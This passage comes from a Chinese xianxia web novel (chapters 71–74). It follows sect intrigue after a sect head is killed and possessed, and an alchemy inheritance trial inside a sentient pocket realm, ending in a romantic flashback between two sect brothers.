后来谢琳琅也拜入神幽真人门下，可能是看裴霁这么做了，他也跟着这么做了些年月，等红师姐进阶元婴、远走他乡游历后，师兄弟两人就没怎么见过红师姐了。 裴寂夜自家人知道自家事，他能有现在半步大乘期的实力，一方面是他有血脉天赋加成，另一方面也有寂夜宫的缘故。 结果资质最差的红师姐完全不比他慢多少，竟也有渡劫中期了。 看她心境坚韧圆满、从容平和的样子，估计很快就能进入渡劫后期。 而他和谢琳琅纵然天赋过人又如何？ 他自己身上一堆麻烦，谢琳琅生死不明，而红师姐即将攀登大道，真是造化弄人啊。 裴寂夜唏嘘了一会，正要去看看神微真人的尸体，突然栈道上的尸体动了动，然后抬起了脑袋。 裴寂夜：“……” 他惊了，什么？ 紧接是神微真人的胳膊动了动，继而这具尸体坐了起来。 “哈哈哈哈哈大夏末裔，就算你们逃过了当年的清算又如何？最后的传承还不是落入了我成周手中？！” 【神微真人】面色扭曲，像是在笑，但因为脸部神经不听话，又像是在抽搐。 “红丫头还算信人，既然交易结束，她也走了，那这九夏山就归我了！” 【神微真人】终于站了起来，他似乎适应了这具身体，很快脸上的表情就不复刚才的僵硬和扭曲，变得自然和谐起来。 “伯夏……让我想想，现在还掌握着伯夏秘法的人，就只有这具身体的嫡传徒弟了？” 【神微真人】冷笑起来，“也罢，既然是师徒，那就好事成双，老夫送那闻净焱去地府和他师尊团聚吧。” 说完，【神微真人】一甩袖袍，消失不见。 70-80 第71章 第 71 章 风波起。 红师姐如一缕烟雾, 轻飘飘地来到了九夏山山脚下的坊市。 这里是九夏山弟子外出游历都要来的地方，他们会在这里换取一些灵石和资源，再通过这里的传送阵前往真界各处区域。 很多年前, 红师姐曾在这里打工赚资源。 她两个师弟提升修为, 一粒聚灵丹就够了, 她的灵力存储能力太差, 竟需要三粒, 事倍功半, 多被师尊诟病嫌弃。 她也知道自己资质太差，想要不断提升实力，需要海量的资源和机缘。 师尊觉得她没前途也是常理，好在红师姐觉得能有今日, 已经远比在富商老爷家里当女婢强太多了, 每一次进步、每一次成功都是赚, 她又有什么不甘心的？ 从最早的月钱二十个铜板，到现在一呼一吸皆为天地灵力, 最少五百年寿岁, 红师姐真的非常感激神幽真人。 随着在真界游历越久，红师姐就越庆幸，她那位师尊嘴巴虽然不饶人，天天嫌弃这嫌弃那, 可从没起过害人或者利用的心思。 尤其她资质这么差, 师尊竟没有在转生后直接抛弃她，还将她带入了九夏山, 给了她最正统全面的修行传承，已然是她好运了。 人啊，要学会知足。 她那位师叔就是不知足, 哦，她师尊也不知足。 只能说不愧是师兄弟。 红师姐漫不经心地想着这些乱七八糟的思绪，她进入坊市，夜里并不妨碍修士们行走，街上依旧有修士出行，只是平日里来做修士生意的普通人少了一些。 红师姐来到传送阵，交了钱，她没有因为排在前面的人是金丹期弟子，就仗着自己是高阶修士插队，而是老老实实地排队等着传送。 红师姐等了大概半个时辰，才站在了传送阵里。 传送阵的光亮起的瞬间，红师姐又看了一眼九夏山。 巍峨的山岩如屹立于天地间的巨大支柱，又像是一堵墙，阻挡了一切窥伺的目光。 当年她随着神幽真人第一次来九夏山，见到如斯壮丽之景，整个人都震撼了。 神幽真人自豪而骄傲地说，为师才不是什么散修，而是传承于上古大夏的嫡传弟子，走，为师带你长长见识！ 红师姐的确大开眼界。 九夏山传承上古大夏时代，承大夏余德，万年不倒。 尤其是掌门伯夏这一脉，有独特的将自身与九夏山融为一体的秘术。 在九夏山，掌门与人斗法，可以借用背后群山之力和大夏功德，先天立于不败之地。 所以红师姐从一开始就知道，若想送师叔与师尊团聚，单凭她自己是不够的。 哦，若她成仙就不说什么了，可她成仙了也飞升了，留一个仇怨在人间，膈应她自己吗？ 大夏曾是妖族横行的时代，要说哪里还有人知晓上古大夏时代的秘密，那就只有寿岁长久的妖族了，于是红师姐索性去妖域游历。 大夏之后，人族成为天地之灵、人间正统，妖族被迫偏安一隅，自然对人族修士颇有怨怼之情。 红师姐在妖域徘徊百年，功夫不负有心人，她查到了一些有意思的东西。 当年覆灭了大夏的炼气士聚落也建立了王朝，他们担心大夏凭借着九夏山卷土重来，遂仔细研究了一种侵蚀之术。 九夏山虽是大夏遗族建立的宗门，但九夏山不仅招收妖族修士，也愿意收人族炼气士。 凭借着九夏山内的人族修士聚拢的功德和力量，足以慢慢侵蚀九夏山自身的立派根基。 万余年过去，九夏山的确成了人族修行的宗门，宗门上下几乎看不到妖族的身影，妖族和九夏山的关系也非常僵硬冷淡。 可大夏从上古时代到现在的恩德还没耗费完，九夏山内隐藏的妖族圣物依旧稳如泰山。 红师姐并不知道圣物是什么，她没有知道的资格，这是唯有成为真正掌门后才会得知的宗门秘密。 但没关系，红师姐在妖域深处找到了大夏后的大周时代的末裔。 那末裔试图拿到大周时代最后的遗泽，他决定举行一个共主仪式。 通过伪装模拟当年诸多炼气士共同击退大夏王族的行为，冥冥之中激活残存的大周遗泽，从而让所有功德都汇聚在他一人身上，帮他冲破阻碍，得成大道。 红师姐对对方的妄想不感兴趣，可她对对方口中的成周秘法感兴趣。 按照那成周末裔的说法，他的传承秘法对继承了大夏功德的人有着绝对性杀伤力，无人能幸免。 毕竟从天地认定的规则概念上来说，大夏的确被覆灭了，成周时代起人族成为天地之灵、世间之主。 红师姐用尽手段，将成周末裔从妖域深处的禁地里捞出来，可等她千辛万苦离开妖域后，才得知谢琳琅身死道消。 她本还有些犹豫，若是现在动手，谢师弟怎么办。 可现在嘛，最后一丝牵挂也没了，那还等什么？ 伴随着传送阵的光芒闪过，红师姐收回了远眺的视线，她与九夏山的缘分到此为止，恩怨两消。 她像是一缕随风而来的雾，无声无息地浸染了九夏山最后的生机，又无声无息地消失在传阵法之中。 当晚，谢琳琅回到寂夜宫在九夏山暂住的阁楼。 由于他心神不宁，并未发现金翎真人也急得团团转，正在阁楼顶部的围栏里侧远眺外面的情况。 金翎真人注意到谢琳琅深夜方回，有些诧异，本想问问情况，可想到此刻静室内的情况，又头疼万分。 直到天边将白，裴寂夜才狗狗祟祟地回到阁楼。 他一出现，金翎真人就急忙上前，拦住了黑色大鸟。 “宫主，出大事了。” 裴寂夜很震惊。 不是吧？金翎真人已经知道神微真人遭到偷袭而死了？ 这也太快了，难道谢玉是金翎真人的人手，谢玉回来后将他看到的情形告诉了金翎真人？ 金翎真人急速道：“高道友后半夜突然出现，还带了生死不知的九夏山嫡传弟子闻净焱！” 裴寂夜：“什么？” 昨天神微真人被他那位好师姐用秘法干掉后，裴寂夜没有去管鸠占鹊巢的未知存在，而是第一时间窜到了神微真人的洞府。 强敌落地成盒，他当然要去舔包啊！ 裴寂夜利用伯夏一脉的秘法，快速打开了神微真人的库藏，不仅将神微真人多年收藏全部卷走了，还拿走了一枚黄色玉扣。 裴寂夜也算见多识广，他一眼就认出了，那黄色玉扣就是进入谢琳琅芥子境的钥匙。 仙品级的芥子境自己长腿，能自主隐藏起来，不到预订的时间是不会出现的。 但神微真人作为九夏山掌门，又是谢琳琅的师叔，在从谢琳琅这里拿到芥子境后，也被送了一枚方便他出入的钥匙。 只要芥子境处于九夏山范围内，神微真人就能凭借这枚钥匙，直接进入芥子境，而不需要真的碰触到芥子境的本体。 而现在裴寂夜拿到了这把钥匙，换言之，即便将来这芥子境被其他修士获得并继承了谢琳琅的传承，裴寂夜也能轻松通过后门钥匙，偷偷钻进去再将东西转移出来。 裴寂夜大喜，深觉没白来。 他知道那个未知修士似乎去偷袭闻净焱了，可这关裴寂夜什么事？ 放人进来的是红师姐，导致谢琳琅渡劫失败的是神微真人，要不是红师姐动手了，其实裴寂夜也想送神微真人上路的，他怎么可能阻拦？ 但此刻听到金翎真人的话，裴寂夜非常诧异，高淳秋瞎掺和什么？ 漆黑的鸟儿似乎非常淡定从容，站在栏杆上，还用鸟喙梳理了一下黑色翎羽，这才发出低沉沙哑的声音，“知道了。” 裴寂夜进入金翎真人的静室。 高淳秋正在为闻净焱疗伤，闻净焱脸色惨白，胸前破了一个巨大的口子，元婴像是被人强行撕扯，只剩下了一抹非常暗淡的残影。 金翎真人已经很有眼色地离开了。 裴寂夜不耐烦地问高淳秋，“我让你去打听天凌宗的消息，你怎么带回来一个病秧子？” 高淳秋震惊地看着裴寂夜：“闻师弟遭到袭击，他不是你师弟吗？” 裴寂夜冷漠地说：“我的师弟只有琳琅一个人，他已经陨落了，这是谁？我不认识。” 高淳秋张了张嘴，喃喃地说：“我过去认识的朋友都对我顾左右而言他，唯有闻师弟待我如初，所以我才想找他秉烛长谈，他擅阵法，尤擅剑阵，和我们天凌宗诸多弟子交好，我想着也许能从他这里打听到消息……” 裴寂夜哦了一声：“那你打听到了什么吗？” 高淳秋迟疑着说：“闻师弟说，师尊、天凌宗主请了玄命派道友过来，似乎要公布非常重要的事，涉及到整个大陆安危云云，他还提前联系了几个大宗门的掌门，商议着想要在修补界门的同时暗中布置另一种阵法……具体是什么，闻师弟还没来得及说，就被叫出去，随即遭到袭击……” 裴寂夜听后，猩红色的眼眸翻了个很红的白眼。 他大概知道这群人想做什么，不过他有恃无恐，就道：“将他扔给九夏山，这与我们没关系。” 高淳秋沉默了几秒才苦笑道：“可闻师弟昏迷之前，他拜托我不要告诉任何九夏山的弟子……” 因为偷袭的人是他师尊啊。 估计闻净焱也闹不清楚他的师尊神微真人出什么事了吧。 尤其是在各派掌门齐聚九夏山之际，九夏山的掌门出了问题，闻净焱又重伤，半死不活，若是消息传出去，九夏山一定会成为诸多宗门间的乐子。 别说完成神微真人心心念念的成为第一流宗门了，恐怕九夏山定然颜面扫地。 闻净焱不愿辜负师尊的理想，这才想暂时压下消息。 裴寂夜无所谓地说：“那先养着吧，天快亮了，芥子境的争夺要正式开始了。” 第72章 第 72 章 考核 第二天一大早, 谢琳琅神色恹恹地来到居住的阁楼外平台。 他昨晚亲眼看到了神微真人被红师姐干掉，回来后辗转反侧，怎么都无法静心凝神调息, 索性开炉炼丹。 也不知道是昨晚受刺激了, 还是多年没见到红师姐, 又可能是被冰冷的夜风激出了灵感, 他昨晚开了丹炉, 随意将最近购买的各种材料往丹炉里扔, 扔着扔着，居然合出了一种新丹方。 等丹炉熄火，盖子自动打开，露出三枚红色丹药时, 饶是谢琳琅满腹心事, 也不由得愣住了, 继而哭笑不得。 他只能快速翻找自己库藏的材料，看哪些药材短缺了, 以此推理出他到底用了什么材料, 又细细回想刚才的手法与材料升腾出的造化之气。 最终谢琳琅评估出了这种新丹药的作用。 可能是他炼丹时一直想的是红师姐，尤其是红师姐那纤纤素手、轻描淡写的一击，以至于这红色丹药的作用竟是压制魔气波动，在偷袭动手前吃一颗, 谁都无法发现暴起前的端倪。 谢琳琅实验了一颗丹药的效果后, 将剩下两枚收了起来。 他现在只是个筑基期的小虾米，再怎么暴起伤人都没意义, 只有类似红师姐那样的渡劫修士，突然发难伤人才具备强大的威慑力。 谢琳琅深吸一口气，他收敛了思绪, 提醒自己不能再胡思乱想了。 若是在芥子境争夺传承时，也是这么心不在焉的状态，不用其他修士偷袭他，芥子境内那只被造化之气温养出来的天魔就会吞了他！ 然而出乎他的意料，他自己一晚上没休息，又是去棠花谷又是开炉炼丹，这才显得憔悴而没精神，怎么沈鹤看上去也无精打采啊？ 谢琳琅想到自己师尊和红师姐闹成那副样子，又想到红师姐一爪子捏死神微真人，立刻提高了警惕。 他和沈鹤气运相连，在此关键时刻，沈鹤若是出了岔子，谢琳琅也会跟着一起倒霉。 谢琳琅不经意间来到沈鹤身侧，快速看了周围的寂夜宫弟子。 高位修士似乎都不在，听前面几个金丹修士聊天，似乎一大早上九夏山这边就请高位修士去开会了。 前面洪奎还在说：“好像说芥子境会自动开启，捕捉持有出入钥匙的人，咱们这些准备参与争夺的弟子只要等在这里即可，芥子境会将咱们自动收纳进去，至于金翎前辈他们，可能有自己的事要处理吧。” 有弟子问：“咱们进入芥子境后，前辈们能看到咱们的一举一动吗？若是遇到危险了……” “应该会自动弹出？否则九夏山就是疯了，让大家参与一个死亡率极高的传承争夺，这么多宗门的弟子若是都陷在其中，怎么可能？” “说的也是……” 谢琳琅没有理会弟子们的议论，他低声问沈鹤：“出什么事了？这么没精神？” 沈鹤听到谢琳琅的话，他也快速看了看周围，注意到距离自己最近的钱师兄也在关心着前面金丹修士们的谈话，这才快速道：“昨天我在棠花谷遇到了认识的人。” 谢琳琅现在听到棠花谷这个地名，有点心惊肉跳。 他下意识地问：“你也、咳咳，你碰到谁了？” 谢琳琅快速回忆，“你是第一波去棠花谷丹房的，难道去丹房时被九夏山的弟子刁难了？” “这倒没有，九夏山的弟子似乎对这次争夺不太上心。” 沈鹤其实昨天就想找谢琳琅吐槽了，但谢琳琅明明是最后一批去棠花谷的，却并未跟着其他弟子们一起回来。 沈鹤注意到了这一点，他琢磨着谢琳琅可能要办自己的事，又拿不准谢琳琅重修前的经历，不敢问，更不敢和带队的高阶修士提这件事，只能假装自己不知道。 直到此刻谢琳琅问起，沈鹤才小声道：“我发现他们提到芥子境争夺，表情都很微妙，就忍不住多问了几句，才知道一件事，那仙品芥子境竟真的生出了境灵，有自己的意识，它已经提前考核过所有九夏山的丹修了，并将他们全都涮了下去，九夏山这边才不得已向全真界甚至是大陆开放了芥子境争夺。” 谢琳琅嘴角抽了抽，“那你遇到了谁？” 沈鹤叹了口气：“我此前在紫焕山秘境跟着乐师姐组队时，无意间认识了一名散修，他叫张思则，我的豹子还是他送的。” 谢琳琅恍惚回忆起了之前沈鹤提过的事，“那个擅长役使灵兽的散修？他也来参与芥子境争夺了？” 下一秒，谢琳琅就敏锐地察觉到了不对劲的地方，“等等，他若是散修，怎么拿到参与竞争的资格？” 九夏山虽然开放了芥子境争夺，却只给了仙门大宗和魔修这边的几个宗门出入许可，散修压根没资格进入九夏山，更别提参与竞争了。 “他拜入了其他魔门？醉云亭？万鬼门？还是白骨宗？” “……都不是，他拜入了天凌宗。” 谢琳琅有些惊异：“天凌宗可是真界这边的仙门翘楚，他真是好机缘！” 沈鹤表情更微妙了：“您还记得我和乐师姐从秘境出来，并未直接回宗门，因为半路上乐师姐遭到了其他弟子袭击的事吗？” “记得，乐道友也提过。”谢琳琅点头，“据说是天凌宗的人围攻她……” 联想到沈鹤刚提起张思则拜入了天凌宗，谢琳琅有了个不得了的推测，“难道那张思则从紫焕山秘境出来后，无意间碰到了围攻你和乐道友的天凌宗弟子，顺势拜入了天凌宗门下？” “没错，虽然不明白为什么，可张道友的确借此认识了天凌宗的修士，并成为了天凌宗的弟子。” 沈鹤有些郁闷，“我昨天在丹房见到他，他身边还跟着两个之前围攻我和乐师姐的修士……” 原本曾是互相帮扶的关系，此刻再见面，却成了敌对。 “我想和他单独谈谈，可他表示没什么可谈的，还斥责我故意隐瞒身份，甚至说乐道友暗中害他，我与乐道友都是寂夜宫弟子，必然是一丘之貉，还说他的豹子所托非人，他会抢回去的……” 沈鹤被张思则先发制人，一番嘴炮突突突得脑子都懵了，完全没反应过来。 谢琳琅本想问乐清屏怎么害张思则了，可话到嘴边，突然想起之前乐清屏好像提过一句，在他和乐清屏离开混沌深处的九灵宗废弃山门后，乐清屏为了找会应前辈的傀儡，好像又想办法回去了一趟。 谢琳琅若有所思。 那问题来了，若张思则真的被乐清屏当做工具人，坑入了九灵宗的废弃山门，那张思则怎么自己窜出来的？ 张思则擅长役使灵兽，沈鹤手里那只豹子也是张思则培育出来的。 再联想到九灵宗的传承功法就是抽取灵兽的图腾之力，谢琳琅的脸色不太好。 张思则吗？ “也许你们之间有什么误会。” 谢琳琅语气温和地说：“先紧着试炼吧，等试炼结束后，不管最后结果如何，我陪着你去找张思则，咱们当面问清楚，最起码不能让这件事成为你的心魔。” 沈鹤听到谢琳琅的话，不由得精神一振，心底涌上一阵暖意。 虽然爷爷不在身边，可身边还有玉佩师尊这位后盾，让他在修行之路上不那么孤单无依，真好啊。 “劳烦师尊、师兄费心了。” 沈鹤的神色舒展开，脸上总算有了笑影儿。 沈鹤的注意力果然转移到芥子境争夺上，他自言自语：“也不知道要如何得到传承，怎么考核这么多修士……” 谢琳琅垂眸，这芥子境内的天魔是他的造化之气养出来的，行事风格应该与他有些相似之处。 若以他自己的脾气和习惯，想要考察弟子的资质，第一步肯定是…… 叮—— 一声清脆的仿佛是敲碗的声音突兀在所有人神魂中响起。 下一秒，所有来参与芥子境争夺的人都觉得眼前一花，紧接着他们就被笼罩进了一片纯白的迷雾之中。 每个人都看不到周围的人，只看得到眼前有一个淡淡的水镜。 【吾乃昆吾之灵，遴选开始】 无形的声音在脑海中浮现，继而水镜上出现了一个药材的幻象，下面给了甲乙丙丁四个选项。 谢琳琅看着这眼熟的一幕，嘴角抽了抽。 这不就是他用来考核九夏山丹房弟子的题库吗？ 谢琳琅抬手选了甲。 第一道题消失了，第二道题在水镜中浮现出来。 谢琳琅看一眼就做出了选择。 眨眼间，谢琳琅眼前的水镜在极短时间内刷过了一道又一道题目，他太熟悉题库了，也见多识广，过手的药材数不胜数，自然选的很轻松。 不过很快谢琳琅发现，题库内容被扩充了。 因为这题库内的药材辨认不仅囊括了真界的资料，还有部分妖域、魔域和灵域的资料，应该是谢琳琅陨落后，神微真人和芥子境商量后又增添的新题目。 哦也对，毕竟这次九夏山还邀请了魔域的一些宗门来参加考核，若是因他们不熟悉真界材料而考个零蛋，那就不是考核而是挑衅了。 偏巧谢琳琅最近补齐了魔域这边的药材资料，再加上他能根据选项倒推妖域和灵域的材料，他的做题速度和数量依旧是最快最多的。 大约这么疯狂高效刷题一个时辰，谢琳琅眼前的屏幕消失了，取而代之的是一个铭牌。 上面写了合格的字样。 第一关结束了，第二关接踵而至。 白色迷雾消散后，眼前是一片刺目的火红，周围气温骤然升高，大地充盈着一个个孔洞，猩红的火舌时不时从孔洞正冲出。 丹师炼丹，除了辨认药材药性外，最重要的就是操控丹火。 第二关考核的就是修士对天地之火的认知和掌控能力。 谢琳琅微微升高身体，悬浮于半空中，他略扫了一眼，看了看周围几个孔洞顶部闪烁着的微红炫光，判断出这几种火焰过于猛烈，不适合用来炼丹。 他随便选了个方向，边飞边寻找起来。 与此同时，九夏山半山腰的山门大殿处，这里坐了诸多门派宗门的掌门和高阶修士。 金翎真人被早早请了过来，他身边还跟着另一位化神修士。 这化神修士灰发灰眼，戴着半张面具，自然伪装过后的裴寂夜。 在众多高阶修士的中间，悬浮着一个十六面晶体，那晶体上时不时闪过芥子境内的试炼画面，让众人评判着各家弟子的表现。 裴寂夜假装看晶体上的画面，实际上眼神若有若无地在前方几个主座上来回划过。 昨天深夜已经死亡的神微真人与身侧的修士谈笑风生，那修士正是天凌宗主卫景营。 第73章 第 73 章 明争暗斗 在裴寂夜眼中, 这其实是非常有趣的一幕。 他很熟悉九夏山的山门，这里是一间宽敞的明堂，背后悬挂着三人跪拜上天、天中有日的画卷, 上首放着一个空的坐垫, 以示对尊长先辈的敬重, 然后两侧放着一排垫子, 取坐而论道之意。 最前方坐着的是九夏山的掌门神微真人, 他身侧坐着两人。 一人是梦华仙门的修士, 也就是当日在界门接送寂夜宫弟子的女修，她名魏紫，和之前脱离梦华仙门的姚黄仙子秉承梦华双骄，是当年梦华仙门名声和实力最强的修士。 一人则是天凌宗主卫景营。 卫景营的未婚道侣姚黄是魏紫的好姐妹, 自从姚黄归入寂夜宫后, 魏紫就看卫景营不顺眼, 也不知道这夺舍了神微真人身躯的家伙，是否明白卫景营和魏紫间的仇怨, 竟安排这俩人与他同座。 理论上闻净焱作为神微真人的嫡传弟子, 下一任九夏山的掌门，他也当出席高阶修士的会议。 然而闻净焱不在，神微真人也没提起过闻净焱，其他宗门修士都觉得奇怪。 之前神微真人总是拉着闻净焱招呼打架, 怎么临到要说明宗门传承了, 闻净焱怎么不见了，但这是九夏山内部的事情, 大家也只是心里腹诽几句，面上不动声色。 天凌宗主卫景营还在和神微真人寒暄。 “多谢九夏山给大家一个共同聚会的理由和场地，经此一事, 想必九夏山声名大噪，来日九夏山必然会是很多年轻弟子拜山首选。” 神微真人微笑道：“多谢道友吉言，但天凌宗才是如今真界仙门大宗翘楚，我们九夏山虽然传承日久，却还是少了些出色的弟子。” 卫景营很自然地将话题转移到弟子身上：“是啊，大宗门最惧怕的就是后辈弟子实力不足，有损先人荣光，说起来前些年贵宗门最有名的弟子……似乎是叫裴霁吧？” 卫景营的目光若有若无地滑过了裴寂夜伪装的灰发青年，如冰雪般的神色终于有了些微波动，“可惜裴霁道友天纵奇才，却意外陨落了。” 神微真人似乎有些不解，为什么卫景营此刻提起裴霁。 “道友说的对，先辈开疆拓土，后辈丢枪弃甲也是常有的事，我等当自勉。” 卫景营收回目光，看向了神微真人，仿佛在说，这和我们之前说好的不一样。 神微真人也诧异地看着卫景营，谁和你说好了？你和那个死鬼商量的事，和我这个夺舍来干坏事的人有什么关系？ 裴寂夜看到这一幕，差点笑出声。 他就知道会这样！ 不管卫景营想做什么，红师姐神来之笔，直接送神微真人上路，还塞了个不知道哪里来的随身老爷爷，卫景营的一切筹谋都将化为流水！ ……说起来红师姐也挺厉害的，她怎么就能碰到各种不同的随身老爷爷？ 就在裴寂夜心情极好的吃瓜看戏时，一直坐在侧面两个穿着玄色长袍的青年对视一眼，稍微年长的修士开口了。 “天凌宗主，九夏掌门，先辈筚路蓝缕、开创基业颇为不易，我等自当殚精竭虑、勤勉修行，我们玄命派前些日子举行百年一度的大祭，门主率领长老进行了四十九日问天，问天结束后，得了四句谶语，宗门上下集体解读谶语，其意颇为不祥。” 玄命派两位修士之所以会来九夏山，就是为了向诸位同道说明情况。 “火山之水涛涛，南冥之海烈烈，查天地倾覆之变，清古今灾厄于一日。” 玄命派的修士神色凝重：“这四句话语意不详，但天地倾覆、古今灾厄等都说明真界即将出现大变，恐危及所有修士。” 他诚恳地看向在座的诸位通道，“不知道诸位听闻这几句话，是否有所得？还请不吝赐教。” 玄命派修士的话音落下，在座的高位修士均细细思考起来，也有人开始交头接耳，互相聊着这几句话的信息。 裴寂夜的目光先落在卫景营脸上，这厮依旧是一副淡漠的表情，仿佛天地倾覆都不算什么似的。 他又去看神微真人的神情，不由得一愣。 神微真人竟眸光闪烁，似乎在权衡什么，但这神色很快就消失了，变成了大众款的凝重和不解。 “宫主。” 金翎真人在一侧小声招呼裴寂夜，“您怎么看这四句话？” 裴寂夜冷淡地说：“古今灾厄，你觉得指得是什么？” 金翎真人的脸色微微僵硬。 “要说火山之水，在下曾在极西之地见过火山喷涌出无尽地热之水，金红之水滚滚而下，吞噬一切，浓烟阵阵。” 一个修士朗声道：“但也只是喷发余日后就冷却了，在下倒是好运，在其中采到了数朵耀火之晶，其他感觉没什么。” 白骨宗的应啸天也跟着附和，“说起南冥之海，那必然要说魔域的南海，其中生活着无数海妖和海外遗族，有些甚至是从上古蛮荒时代流传下来的，但他们也很少进入内陆区域，更何况寂夜宫镇守在那边，也没出过什么乱子。” 金翎真人连忙笑着向应啸天点点头：“没错，我等出来之前，宫内一切与往日相同。” 梦华仙门的魏紫仙子淡淡道：“宗门典籍记载，上古的确曾出现过一次天地倾覆的大灾，当时九天之水倒悬，几乎要将大陆彻底淹没，时圣人出，以上古神魔四肢为柱，再采天地异石补天，才平息了那场动荡。” 玄命派的修士也道：“没错，我等宗门也有相关记载，但想要有天地倾覆的大灾，也要有原因啊？！那次大变是因为神魔与大妖相争，可如今……” 如今哪里还会有如上古一样烈度的战斗，还将苍天打破一个窟窿？ 天凌宗主卫景营终于找回了熟悉的赛道，他用轻灵而冰冷的声音说：“那可不一定，寂夜宫的道友，你们不该说明一下，贵派百年一次的寂夜长吟到底是怎么回事吗？” 突然成了集火对象的金翎真人面色微变，他几乎本能地想要去看身侧裴寂夜的表情。 然而裴寂夜却指着悬浮于半空的晶体，轻声道：“第二关要结束了。” 他的语气微妙而带着不易觉察的惶恐。 “现在有四名弟子的表现最好。” 而谢玉就是其中之一。 听到裴寂夜如此说，金翎真人立刻稳住了心神，也看向悬浮的晶体。 “天凌宗主这么关心我们寂夜宫，真是令人惭愧，当年你万里追踪我们宫主，却被宫主重创，想必给道友留下了刻骨铭心的回忆。” 金翎真人笑眯眯地看着晶体，嘴上却不饶人。 “说起来此前贵派的刘道友私下开了洞天，收拢无数有天资的少男少女为弟子，也没见贵宗门弟子数量增多啊，怎么还跑到我们魔域来招收弟子？” 此言一出，大厅内诸多道友纷纷小眼神乱飞。 天凌宗和寂夜宫间的仇怨还挺深，不仅天凌宗主曾被寂夜宫主削过，天凌宗主卫景营的未婚道侣还跳槽去了寂夜宫，简直是啪啪打脸啊。 但寂夜宫这边也没得什么好处。 天凌宗毕竟是真界仙门大宗，一般天凌宗发起的倡议，很少被其他宗门反驳甚至无视，而且当初寂夜宫主削了很多真界修士，几乎将那一批真界高手都打了一顿，所以寂夜宫主喜提通缉，直到现在都无法通过界门抵达真界。 否则这次来的就该是寂夜宫主，而非据说是寂夜宫这位修行丹药出身的大执事金翎真人。 天凌宗主卫景营依旧一副仙人做派，似乎完全不受金翎真人话语的影响，他只是随意地看了一眼眼前的晶石，正想继续开口，突然眼神一凝，表情森然而有杀气。 只见晶石上的无数个晶面里，一个穿着月色长裙的青年眨着一双惑人的桃花眼，正在与另一个人交谈。 大厅内诸位修士都是耳聪目明、感知敏锐的人，天凌宗主突然面色微变的样子，吸引了这些人的注意力，大家不约而同地看向晶石屏幕，顿时露出了了然的微笑。 那有着动人桃花眼的男子，不就是天魅宗的如月尊者嘛。 正是如月尊者入了此前天凌宗那位刘道友的洞天福地，才牵扯出那桩丑闻。 天凌宗主目光如电，立刻看向大厅另一侧坐着的一位女修。 那女修正低头和应啸天说着什么，似乎察觉到天凌宗主的目光，女修抬眼看来，嫣然一笑，竟满室生辉。 她娇笑着，“如月师兄因着一些意外重修了，这次正好赶上芥子境传承考核，既然神微掌门都没说什么，想必卫宗主也会理解并体贴我们的。” 那女修笑着，眸光如烟波流转，还看了一眼金翎真人。 而坐在她身侧的应啸天发出了嘲讽意十足的鹅叫声。 金翎真人一本正经地看着晶石屏幕，仿佛没听到天魅宗女修的话。 裴寂夜是真的没注意大厅上的言辞交锋，他全幅注意力都在芥子境内的争夺中，此刻芥子境试炼已经进入了第三关。 第一关，考察弟子对于天地灵物的了解程度；第二关，考察丹师是否熟悉并能快速使用天地异火。 而这第三关，竟复现了诸多幻境，弟子们纷纷陷入迷幻之中，以考察诸弟子的心性和对天地灵力、魔气等力量的敏锐程度。 每个人的幻境都不同，全部量身定做，甚至会出现一些只属于弟子本身的记忆场景。 玄命派的两个修士见到这一幕，也轻声赞叹：“琳琅道君的芥子境果然不凡，竟隐隐有天魔问心的功效。” “没错，若能顺利通过第三关考核，来日渡劫面对心魔时，也能顺利通关了。” 第74章 第 74 章 他所爱的人其实早已来到…… 谢琳琅轻松完成了第二关。 作为丹师, 他当然熟悉并了解各种形态的异火，他自己就有很多种种不同的火焰。 一部分是他自己游历真界得到的，一部分是裴霁送他的, 剩下大半就是九夏山库藏以及其他宗门请他炼丹给的报酬。 谢琳琅后期很少离开九夏山, 却始终对整个真界甚至其他几个区域的高端材料了如指掌, 自然也是拜各种来炼丹的高阶修士所赐。 芥子境内关于异火的资料, 大半来自谢琳琅的储藏。 也许最近神微真人开启了芥子境后又往里面补充了些资料, 但谢琳琅也就陨落了一年而已, 芥子境内的资料九成九还是谢琳琅了解的异火储备，他自然过得很轻松。 但谢琳琅有些神思不属。 刚才第二关考核时，他采撷到了一朵异火名为火中玉光。 那是裴霁当年跑到真界最北端的高山之巅，本是去采撷一种叫九天玄莲的极品材料。 在等待玄莲开花时, 恰好天降神雷, 劈断了一座山峰, 点燃了下方黑色岩层，从而生出的一种聚集了天地之力的奇异神火。 这火焰如流动的玉水, 光落入其中, 仿佛随时会析出金玉，美丽而充满了强大力量。 裴霁见状立刻惊为天人，想方设法得到了这火中玉光，甚至连九天玄莲即将开花都顾不上了, 他拿着火中玉光急忙回九夏山, 将这朵跳动的金玉之火放在了谢琳琅面前。 谢琳琅又惊又喜，喜悦的自然是师兄竟采来了如此强大而神异的火焰, 惊自然是他们俩都没有找到能储存火中玉光的器皿。 这玉火竟能轻易点燃各色充溢了灵力、品级在仙品以下的储物器皿，只能依靠谢琳琅和裴霁的灵力不断包裹着玉火，暂时维持玉火的形态和存在。 若是稍微放松些灵力, 这玉火竟会逐渐枯萎，继而化为虚无。 那段时间谢琳琅和裴霁都很萎靡，他们俩轮流给玉火喂自己的灵力，另一个人则在恢复灵力的同时赶紧想办法搜寻更加靠谱的器皿。 最后裴霁得了一张上古地图，据说其中有上古大能为了祭祀天地而铸造的神鼎。 当时已经找昏头的裴霁破罐子破摔地说：“既然那神鼎都能祭祀上天了，存储点异火应该很轻松，我去将那神鼎找来！” 谢琳琅连忙拦住了裴霁：“我们一起去，你跑去探索上古秘境，万一被困进去，难道要我一个人一直维持异火吗？” 谢琳琅出身书香世家，本是风度翩翩的贵公子，只是他和裴霁关系越发密切，成了无话不谈的师兄弟，又同样被异火折腾了许久，说话也变得直白起来，顾不上维持修养和矜持了。 裴霁：“行，那就一起。” 但也正是这一趟上古秘境之行，让两人的感情发生了变化，泛起了隐蔽而甜蜜的色泽。 谢琳琅很久没有想起那时的事了。 一方面是裴霁陨落后，他再想起曾经的甜蜜之情，心里就泛起如刀割般的痛苦和难过，另一方面在秘境里，裴霁曾短暂的失踪过一段时间。 当时谢琳琅在秘境里到处搜寻裴霁的行踪，疲惫不堪，找了个安全的地方稍微休息了一会，就是这一眯眼的功夫，他做了个意义不明的梦。 梦里，他看到烈烈火光，还有无数神鸟于天空飞舞。 神鸟张开羽翼，一个个宽大美丽的羽翼遮天蔽日，看不到湛蓝的天空，只看得到一尊尊神鸟那肥硕而强大的身躯和力量。 就在谢琳琅仰头观鸟时，其中有一通体玄色、流动着美丽翠光的鸟儿俯身下冲，带起了轻柔和煦的风，轻轻一卷，将谢琳琅卷到了鸟背上。 